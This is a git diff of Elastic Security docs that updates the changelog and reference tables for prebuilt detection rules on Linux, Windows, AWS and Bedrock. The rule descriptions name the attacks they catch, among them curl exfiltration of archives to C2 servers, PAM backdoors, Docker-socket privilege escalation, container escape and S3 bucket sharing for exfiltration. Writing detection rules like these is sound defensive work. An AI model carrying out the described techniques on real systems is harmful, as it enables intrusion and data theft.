may indicate the presence of a malicious named pipe. | update | 3 + +|<> | This rule detects suspicious child process from the kernel thread (kthreadd) parent process. Attackers may execute payloads from kernel space via kthreadd to perform actions on the host and evade detection. Through the usage of the new_terms rule type, this rule can identify uncommon child processes that may indicate the presence of a malicious process. | update | 3 + +|<> | Detects the use of curl to upload an archived file to an internet server. Threat actors often will collect data on a system and compress it in an archive file before exfiltrating the file back to their C2 server for review. Many threat actors have been seen utilizing curl to upload this archive file with the collected data to do this. Use of curl in this way while not inherently malicious should be considered highly abnormal and suspicious activity. | update | 3 + +|<> | Identifies instances where VMware processes, such as "vmware-vmx" or "vmx," are terminated on a Linux system by a "kill" command. The rule monitors for the "end" event type, which signifies the termination of a process. The presence of a "kill" command as the parent process for terminating VMware processes may indicate that a threat actor is attempting to interfere with the virtualized environment on the targeted system. | update | 11 + +|<> | This rule detects memory swap modification events on Linux systems. Memory swap modification can be used to manipulate the system's memory and potentially impact the system's performance. This behavior is commonly observed in malware that deploys miner software such as XMRig. | update | 106 + +|<> | This rule identifies a high number (10) of process terminations via pkill from the same host within a short time period. | update | 115 + +|<> | Detects suspicious process events executed by the APT package manager, potentially indicating persistence through an APT backdoor. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. | update | 109 + +|<> | This rule detects the execution of a potentially malicious process from a Git hook. Git hooks are scripts that Git executes before or after events such as: commit, push, and receive. An attacker can abuse Git hooks to execute arbitrary commands on the system and establish persistence. | update | 106 + +|<> | This rule detects the execution of Node.js pre or post-install scripts. These scripts are executed by the Node.js package manager (npm) during the installation of packages. Adversaries may abuse this technique to execute arbitrary commands on the system and establish persistence. This activity was observed in the wild as part of the Shai-Hulud worm. | update | 2 + +|<> | This rule detects the usage of `curl` or `wget` to download the source code of a Pluggable Authentication Module (PAM) shared object file. Attackers may download the source code of a PAM shared object file to create a backdoor in the authentication process. | update | 5 + +|<> | This rule detects the creation of an unusual SSHD child process through the usage of the `new_terms` rule type. Attackers may abuse SSH to maintain persistence on a compromised system, or to establish a backdoor for remote access, potentially resulting in an unusual SSHD child process being created. | update | 5 + +|<> | Monitors for the execution of a file system mount followed by a chroot execution. Given enough permissions, a user within a container is capable of mounting the root file system of the host, and leveraging chroot to escape its containarized environment. This behavior pattern is very uncommon and should be investigated. | update | 107 + +|<> | This rule monitors for the execution of a set of linux binaries, that are potentially vulnerable to wildcard injection, with suspicious command line flags followed by a shell spawn event. Linux wildcard injection is a type of security vulnerability where attackers manipulate commands or input containing wildcards (e.g., *, ?, []) to execute unintended operations or access sensitive data by tricking the system into interpreting the wildcard characters in unexpected ways. | update | 111 + +|<> | This rule monitors for the usage of Docker runtime sockets to escalate privileges on Linux systems. Docker sockets by default are only be writable by the root user and docker group. Attackers that have permissions to write to these sockets may be able to create and run a container that allows them to escalate privileges and gain further access onto the host file system. | update | 10 + +|<> | Identifies the execution of commonly abused Windows utilities via a delayed Ping execution. This behavior is often observed during malware installation and is consistent with an attacker attempting to evade detection. | update | 7 + +|<> | This rule identifies the creation of multiple files with same name and over SMB by the same user. This behavior may indicate the successful remote execution of a ransomware dropping file notes to different folders. | update | 213 + +|============================================== diff --git a/docs/detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc b/docs/detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc index ddeb4720fe..a6b68ec999 100644 --- a/docs/detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc +++ b/docs/detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc @@ -13,6 +13,10 @@ For previous rule updates, please navigate to the https://www.elastic.co/guide/e |Update version |Date | New rules | Updated rules | Notes +|<> | 11 Nov 2025 | 6 | 48 | +This release includes new rules for Windows, AWS and Linux. New rules for Windows include detection for initial access and lateral movement. New rules for AWS include detection for exfiltration. New rules for Linux include detection for privilege escalation and credential access. Additionally, significant rule tuning for Windows, Linux, AWS, AWS Bedrock and Microsoft 365 rules has been added for better rule efficacy and performance. + + |<> | 20 Oct 2025 | 7 | 18 | This release includes new rules for Windows, AWS and Azure. New rules for Windows include detection for execution. New rules for AWS include detection for initial access. New rules for Azure include detection for impact, initial access and exfiltration. Additionally, significant rule tuning for Windows, Linux, AWS and Azure rules has been added for better rule efficacy and performance. @@ -58,3 +62,4 @@ include::downloadable-packages/8-19-6/prebuilt-rules-8-19-6-summary.asciidoc[lev include::downloadable-packages/8-19-7/prebuilt-rules-8-19-7-summary.asciidoc[leveloffset=+1] include::downloadable-packages/8-19-8/prebuilt-rules-8-19-8-summary.asciidoc[leveloffset=+1] include::downloadable-packages/8-19-9/prebuilt-rules-8-19-9-summary.asciidoc[leveloffset=+1] +include::downloadable-packages/8-19-10/prebuilt-rules-8-19-10-summary.asciidoc[leveloffset=+1] diff --git a/docs/detections/prebuilt-rules/prebuilt-rules-reference.asciidoc b/docs/detections/prebuilt-rules/prebuilt-rules-reference.asciidoc index 8c7c708071..53946d88b9 100644 --- a/docs/detections/prebuilt-rules/prebuilt-rules-reference.asciidoc +++ b/docs/detections/prebuilt-rules/prebuilt-rules-reference.asciidoc @@ -18,19 +18,19 @@ and their rule type is `machine_learning`. |<> |Detects file creation events in the configuration directory for the APT package manager. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on (by default) Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |7 -|<> |This rule identifies potentially suspicious activity by detecting instances where a single IAM user's temporary session token is accessed from multiple IP addresses within a short time frame. Such behavior may suggest that an adversary has compromised temporary credentials and is utilizing them from various locations. To enhance detection accuracy and minimize false positives, the rule incorporates criteria that evaluate unique IP addresses, user agents, cities, and networks. These additional checks help distinguish between legitimate distributed access patterns and potential credential misuse. Detected activities are classified into different types based on the combination of unique indicators, with each classification assigned a fidelity score reflecting the likelihood of malicious behavior. High fidelity scores are given to patterns most indicative of threats, such as multiple unique IPs, networks, cities, and user agents. Medium and low fidelity scores correspond to less severe patterns, enabling security teams to effectively prioritize alerts. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Data Source: AWS CloudTrail], [Tactic: Initial Access], [Use Case: Identity and Access Audit], [Resources: Investigation Guide] |None |103 +|<> |This rule identifies potentially suspicious activity by detecting instances where a single IAM user's temporary session token is accessed from multiple IP addresses within a short time frame. Such behavior may suggest that an adversary has compromised temporary credentials and is utilizing them from various locations. To enhance detection accuracy and minimize false positives, the rule incorporates criteria that evaluate unique IP addresses, user agents, cities, and networks. These additional checks help distinguish between legitimate distributed access patterns and potential credential misuse. Detected activities are classified into different types based on the combination of unique indicators, with each classification assigned a fidelity score reflecting the likelihood of malicious behavior. High fidelity scores are given to patterns most indicative of threats, such as multiple unique IPs, networks, cities, and user agents. Medium and low fidelity scores correspond to less severe patterns, enabling security teams to effectively prioritize alerts. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Data Source: AWS CloudTrail], [Tactic: Initial Access], [Use Case: Identity and Access Audit], [Resources: Investigation Guide] |None |105 -|<> |Identifies multiple successive failed attempts to use denied model resources within AWS Bedrock. This could indicated attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Policy Violation], [Mitre Atlas: T0015], [Mitre Atlas: T0034] |None |5 +|<> |Identifies multiple successive failed attempts to use denied model resources within AWS Bedrock. This could indicated attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Policy Violation], [Mitre Atlas: T0015], [Mitre Atlas: T0034] |None |7 -|<> |Identifies multiple validation exeception errors within AWS Bedrock. Validation errors occur when you run the InvokeModel or InvokeModelWithResponseStream APIs on a foundation model that uses an incorrect inference parameter or corresponding value. These errors also occur when you use an inference parameter for one model with a model that doesn't have the same API parameter. This could indicate attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs. |[Domain: LLM], [Data Source: AWS], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Use Case: Policy Violation], [Mitre Atlas: T0015], [Mitre Atlas: T0034], [Mitre Atlas: T0046], [Resources: Investigation Guide] |None |5 +|<> |Identifies multiple validation exeception errors within AWS Bedrock. Validation errors occur when you run the InvokeModel or InvokeModelWithResponseStream APIs on a foundation model that uses an incorrect inference parameter or corresponding value. These errors also occur when you use an inference parameter for one model with a model that doesn't have the same API parameter. This could indicate attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs. |[Domain: LLM], [Data Source: AWS], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Use Case: Policy Violation], [Mitre Atlas: T0015], [Mitre Atlas: T0034], [Mitre Atlas: T0046], [Resources: Investigation Guide] |None |7 -|<> |Identifies multiple violations of AWS Bedrock guardrails within a single request, resulting in a block action, increasing the likelihood of malicious intent. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054] |None |5 +|<> |Identifies multiple violations of AWS Bedrock guardrails within a single request, resulting in a block action, increasing the likelihood of malicious intent. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054] |None |7 -|<> |Identifies multiple violations of AWS Bedrock guardrails by the same user in the same account over a session. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054] |None |6 +|<> |Identifies multiple violations of AWS Bedrock guardrails by the same user in the same account over a session. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054] |None |8 -|<> |Identifies multiple AWS Bedrock executions in a one minute time window without guardrails by the same user in the same account over a session. Multiple consecutive executions implies that a user may be intentionally attempting to bypass security controls, by not routing the requests with the desired guardrail configuration in order to access sensitive information, or possibly exploit a vulnerability in the system. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054] |None |3 +|<> |Identifies multiple AWS Bedrock executions in a one minute time window without guardrails by the same user in the same account over a session. Multiple consecutive executions implies that a user may be intentionally attempting to bypass security controls, by not routing the requests with the desired guardrail configuration in order to access sensitive information, or possibly exploit a vulnerability in the system. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054] |None |5 -|<> |Detects the use of the AWS CLI with the `--endpoint-url` argument, which allows users to specify a custom endpoint URL for AWS services. This can be leveraged by adversaries to redirect API requests to non-standard or malicious endpoints, potentially bypassing typical security controls and logging mechanisms. This behavior may indicate an attempt to interact with unauthorized or compromised infrastructure, exfiltrate data, or perform other malicious activities under the guise of legitimate AWS operations. |[Data Source: Elastic Defend], [Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Resources: Investigation Guide] |None |4 +|<> |Detects the use of the AWS CLI with the `--endpoint-url` argument, which allows users to specify a custom endpoint URL for AWS services. This can be leveraged by adversaries to redirect API requests to non-standard or malicious endpoints, potentially bypassing typical security controls and logging mechanisms. This behavior may indicate an attempt to interact with unauthorized or compromised infrastructure, exfiltrate data, or perform other malicious activities under the guise of legitimate AWS operations. |[Data Source: Elastic Defend], [Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |5 |<> |Identifies the usage of the AWS CLI with a user agent string containing `distrib#kali`, which suggests the request was made from a Kali Linux distribution. This may indicate offensive security tooling or unauthorized use of the AWS CLI from a potentially adversarial environment. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Tactic: Initial Access], [Use Case: Cloud Threat Detection], [Resources: Investigation Guide] |None |2 @@ -58,7 +58,7 @@ and their rule type is `machine_learning`. |<> |Identifies the deletion of an Amazon Relational Database Service (RDS) Aurora database cluster, global database cluster, or database instance. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Use Case: Asset Visibility], [Tactic: Impact], [Resources: Investigation Guide] |None |209 -|<> |Detects when a single AWS resource is running multiple `Describe` and `List` API calls in a 10-second window. This behavior could indicate an actor attempting to discover the AWS infrastructure using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure. |[Domain: Cloud], [Data Source: AWS], [Data Source: AWS EC2], [Data Source: AWS IAM], [Data Source: AWS S3], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |3 +|<> |Detects when a single AWS resource is running multiple `Describe` and `List` API calls in a 10-second window. This behavior could indicate an actor attempting to discover the AWS infrastructure using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure. |[Domain: Cloud], [Data Source: AWS], [Data Source: AWS EC2], [Data Source: AWS IAM], [Data Source: AWS S3], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |5 |<> |Identifies when an AWS DynamoDB table is scanned by a user who does not typically perform this action. Adversaries may use the Scan operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the Scan action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS DynamoDB], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Exfiltration] |None |4 @@ -68,13 +68,15 @@ and their rule type is `machine_learning`. |<> |Identifies when a user has queried for deprecated Amazon Machine Images (AMIs) in AWS. This may indicate an adversary looking for outdated AMIs that may be vulnerable to exploitation. While deprecated AMIs are not inherently malicious or indicative of a breach, they may be more susceptible to vulnerabilities and should be investigated for potential security risks. |[Domain: Cloud], [Data Source: AWS], [Data Source: AWS EC2], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Discovery] |None |6 -|<> |Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. EBS snapshots are essential for data retention and disaster recovery. Adversaries may revoke or modify snapshot permissions to prevent legitimate users from accessing backups, thereby obstructing recovery efforts after data loss or destructive actions. This tactic can also be used to evade detection or maintain exclusive access to critical backups, ultimately increasing the impact of an attack and complicating incident response. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |2 +|<> |Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. EBS snapshots are essential for data retention and disaster recovery. Adversaries may revoke or modify snapshot permissions to prevent legitimate users from accessing backups, thereby obstructing recovery efforts after data loss or destructive actions. This tactic can also be used to evade detection or maintain exclusive access to critical backups, ultimately increasing the impact of an attack and complicating incident response. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |3 -|<> |Identifies AWS EC2 EBS snaphots being shared with another AWS account or made public. EBS virtual disks can be copied into snapshots, which can then be shared with an external AWS account or made public. Adversaries may attempt this in order to copy the snapshot into an environment they control, to access the data. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Threat Detection], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |7 +|<> |Detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots contain copies of data volumes that may include sensitive or regulated information. Adversaries may exploit ModifySnapshotAttribute to share snapshots with external accounts or the public, allowing them to copy and access data in an environment they control. This activity often precedes data exfiltration or persistence operations, where the attacker transfers stolen data out of the victim account or prepares a staging area for further exploitation. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Threat Detection], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |8 -|<> |Identifies disabling of Amazon Elastic Block Store (EBS) encryption by default in the current region. Disabling encryption by default does not change the encryption status of your existing volumes. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Tactic: Impact], [Resources: Investigation Guide] |None |209 +|<> |Detects when Amazon Elastic Block Store (EBS) encryption by default is disabled in an AWS region. EBS encryption ensures that newly created volumes and snapshots are automatically protected with AWS Key Management Service (KMS) keys. Disabling this setting introduces significant risk as all future volumes created in that region will be unencrypted by default, potentially exposing sensitive data at rest. Adversaries may disable encryption to weaken data protection before exfiltrating or tampering with EBS volumes or snapshots. This may be a step in preparation for data theft or ransomware-style attacks that depend on unencrypted volumes. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Tactic: Impact], [Resources: Investigation Guide] |None |210 -|<> |Identifies potential Traffic Mirroring in an Amazon Elastic Compute Cloud (EC2) instance. Traffic Mirroring is an Amazon VPC feature that you can use to copy network traffic from an Elastic network interface. This feature can potentially be abused to exfiltrate sensitive data from unencrypted internal traffic. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Network Security Monitoring], [Tactic: Exfiltration], [Tactic: Collection], [Resources: Investigation Guide] |None |209 +|<> |Identifies successful export tasks of EC2 instances via the APIs CreateInstanceExportTask, ExportImage, or CreateStoreImageTask. These exports can be used by administrators for legitimate VM migration or backup workflows however, an attacker with access to an EC2 instance or AWS credentials can export a VM or its image and then transfer it off-account for exfiltration of data. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Asset Visibility], [Tactic: Exfiltration], [Tactic: Collection], [Resources: Investigation Guide] |None |1 + +|<> |Detects successful creation of an Amazon EC2 Traffic Mirroring session. A session copies full packets from a source Elastic Network Interface (ENI) to a mirror target (e.g., an ENI or NLB) using a mirror filter (ingress/egress rules). While used for diagnostics and NDR/IDS tooling, adversaries can abuse sessions to covertly capture and exfiltrate sensitive, potentially unencrypted, traffic from instances or subnets. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Network Security Monitoring], [Tactic: Exfiltration], [Tactic: Collection], [Resources: Investigation Guide] |None |210 |<> |Identifies when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. This action could indicate an adversary attempting to maintain access to the instance. The rule detects the SendSerialConsoleSSHPublicKey or SendSSHPublicKey API actions, which are logged when manually uploading an SSH key to an EC2 instance or serial connection. It is important to know that this API call happens automatically by the EC2 Instance Connect service when a user connects to an EC2 instance using the EC2 Instance Connect service via the CLI or AWS Management Console. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |6 @@ -82,7 +84,7 @@ and their rule type is `machine_learning`. |<> |Identifies when an EC2 instance interacts with the AWS IAM service via an assumed role. This is uncommon behavior and could indicate an attacker using compromised credentials to further exploit an environment. For example, an assumed role could be used to create new users for persistence or add permissions for privilege escalation. An EC2 instance assumes a role using their EC2 ID as the session name. This rule looks for the pattern "i-" which is the beginning pattern for assumed role sessions started by an EC2 instance. This is a [building block](https://www.elastic.co/guide/en/security/current/building-block-rule.html) rule and does not generate alerts on its own. It is meant to be used for correlation with other rules to detect suspicious activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Persistence], [Rule Type: BBR] |None |4 -|<> |Identifies when a single AWS resource is making `DescribeInstances` API calls in more than 10 regions within a 30-second window. This could indicate a potential threat actor attempting to discover the AWS infrastructure across multiple regions using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure. |[Domain: Cloud], [Data Source: AWS], [Data Source: AWS EC2], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Discovery] |None |5 +|<> |Identifies when a single AWS resource is making `DescribeInstances` API calls in more than 10 regions within a 30-second window. This could indicate a potential threat actor attempting to discover the AWS infrastructure across multiple regions using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure. |[Domain: Cloud], [Data Source: AWS], [Data Source: AWS EC2], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Discovery] |None |7 |<> |Identifies the creation of an AWS EC2 network access control list (ACL) or an entry in a network ACL with a specified rule number. Adversaries may exploit ACLs to establish persistence or exfiltrate data by creating permissive rules. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Network Security Monitoring], [Tactic: Persistence], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |210 @@ -98,8 +100,6 @@ and their rule type is `machine_learning`. |<> |Identifies discovery request DescribeInstanceAttribute with the attribute userData and instanceId in AWS CloudTrail logs. This may indicate an attempt to retrieve user data from an EC2 instance. Adversaries may use this information to gather sensitive data from the instance such as hardcoded credentials or to identify potential vulnerabilities. This is a New Terms rule that identifies the first time an IAM user or role requests the user data for a specific EC2 instance. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon EC2], [Resources: Investigation Guide], [Use Case: Log Auditing], [Tactic: Discovery] |None |7 -|<> |Identifies an attempt to export an AWS EC2 instance. A virtual machine (VM) export may indicate an attempt to extract or exfiltrate information. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Asset Visibility], [Tactic: Exfiltration], [Tactic: Collection], [Resources: Investigation Guide] |None |209 - |<> |Detects when an EFS File System or Mount is deleted. An adversary could break any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts. The mount must be deleted prior to deleting the File System, or the adversary will be unable to delete the File System. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Tactic: Impact], [Resources: Investigation Guide] |None |209 |<> |Identifies when an ElastiCache security group has been created. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |209 @@ -148,7 +148,7 @@ and their rule type is `machine_learning`. |<> |Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Identity and Access Audit], [Tactic: Credential Access], [Tactic: Persistence], [Resources: Investigation Guide] |None |211 -|<> |An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Persistence], [Resources: Investigation Guide] |None |8 +|<> |An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Persistence], [Resources: Investigation Guide] |None |10 |<> |Identifies attempts to register or enable an IAM Virtual MFA device using temporary credentials (access keys starting with 'ASIA'). This may indicate an adversary attempting to escalate privileges or establish persistence using stolen session tokens. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Tactic: Persistence], [Use Case: Identity and Access Audit], [Resources: Investigation Guide] |None |2 @@ -202,19 +202,21 @@ and their rule type is `machine_learning`. |<> |Identifies a high number of failed S3 operations against a single bucket from a single source address within a short timeframe. This activity can indicate attempts to collect bucket objects or cause an increase in billing to an account via internal "AccessDenied" errors. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Log Auditing], [Tactic: Impact], [Tactic: Discovery], [Tactic: Collection] |None |6 -|<> |Identifies an expiration lifecycle configuration added to an S3 bucket. Lifecycle configurations can be used to manage objects in a bucket, including setting expiration policies. This rule detects when a lifecycle configuration is added to an S3 bucket, which could indicate that objects in the bucket will be automatically deleted after a specified period of time. This could be used to evade detection by deleting objects that contain evidence of malicious activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon S3], [Use Case: Asset Visibility], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |5 +|<> |Identifies the addition of an expiration lifecycle configuration to an Amazon S3 bucket. S3 lifecycle rules can automatically delete or transition objects after a defined period. Adversaries can abuse them by configuring auto-deletion of logs, forensic evidence, or sensitive objects to cover their tracks. This rule detects the use of the PutBucketLifecycle or PutBucketLifecycleConfiguration APIs with Expiration parameters, which may indicate an attempt to automate the removal of data to hinder investigation or maintain operational secrecy after malicious activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon S3], [Use Case: Asset Visibility], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |6 -|<> |Identifies an AWS S3 bucket policy change to share permissions with an external account. Adversaries may attempt to backdoor an S3 bucket by sharing it with an external account. This can be used to exfiltrate data or to provide access to other adversaries. This rule identifies changes to a bucket policy via the `PutBucketPolicy` API call where the policy includes an `Effect=Allow` statement that does not contain the AWS account ID of the bucket owner. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Use Case: Threat Detection], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |5 +|<> |Detects when an Amazon S3 bucket policy is modified to grant public access using a wildcard (Principal:"*") statement. This rule analyzes PutBucketPolicy events that include both Effect=Allow and Principal:"*" in the request parameters, indicating that permissions were extended to all identities, potentially making the bucket or its contents publicly accessible. Publicly exposing an S3 bucket is one of the most common causes of sensitive data leaks in AWS environments. Adversaries or misconfigurations can leverage this exposure to exfiltrate data, host malicious content, or collect credentials and logs left in open storage. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Use Case: Threat Detection], [Tactic: Exfiltration], [Tactic: Collection], [Resources: Investigation Guide] |None |1 + +|<> |Detects when an Amazon S3 bucket policy is modified to share access with an external AWS account. This rule analyzes PutBucketPolicy events and compares the S3 bucket’s account ID to any account IDs referenced in the policy’s Effect=Allow statements. If the policy includes principals from accounts other than the bucket owner’s, the rule triggers an alert. This behavior may indicate an adversary backdooring a bucket for data exfiltration or cross-account persistence. For example, an attacker who compromises credentials could attach a policy allowing access from an external AWS account they control, enabling continued access even after credentials are rotated. Note: This rule will not alert if the account ID is part of the bucket’s name or appears in the resource ARN. Such cases are common in standardized naming conventions (e.g., “mybucket-123456789012”). To ensure full coverage, use complementary rules to monitor for suspicious PutBucketPolicy API requests targeting buckets with account IDs embedded in their names or resources. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Use Case: Threat Detection], [Tactic: Exfiltration], [Tactic: Collection], [Resources: Investigation Guide] |None |6 |<> |Identifies when the `PutBucketReplication` operation is used to replicate S3 objects to a bucket in another AWS account. Adversaries may use bucket replication to exfiltrate sensitive data to an environment they control. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Exfiltration] |None |4 -|<> |Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon S3], [Use Case: Asset Visibility], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |4 +|<> |Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon S3], [Use Case: Asset Visibility], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |5 -|<> |Identifies `CopyObject` events within an S3 bucket using an AWS KMS key from an external account for 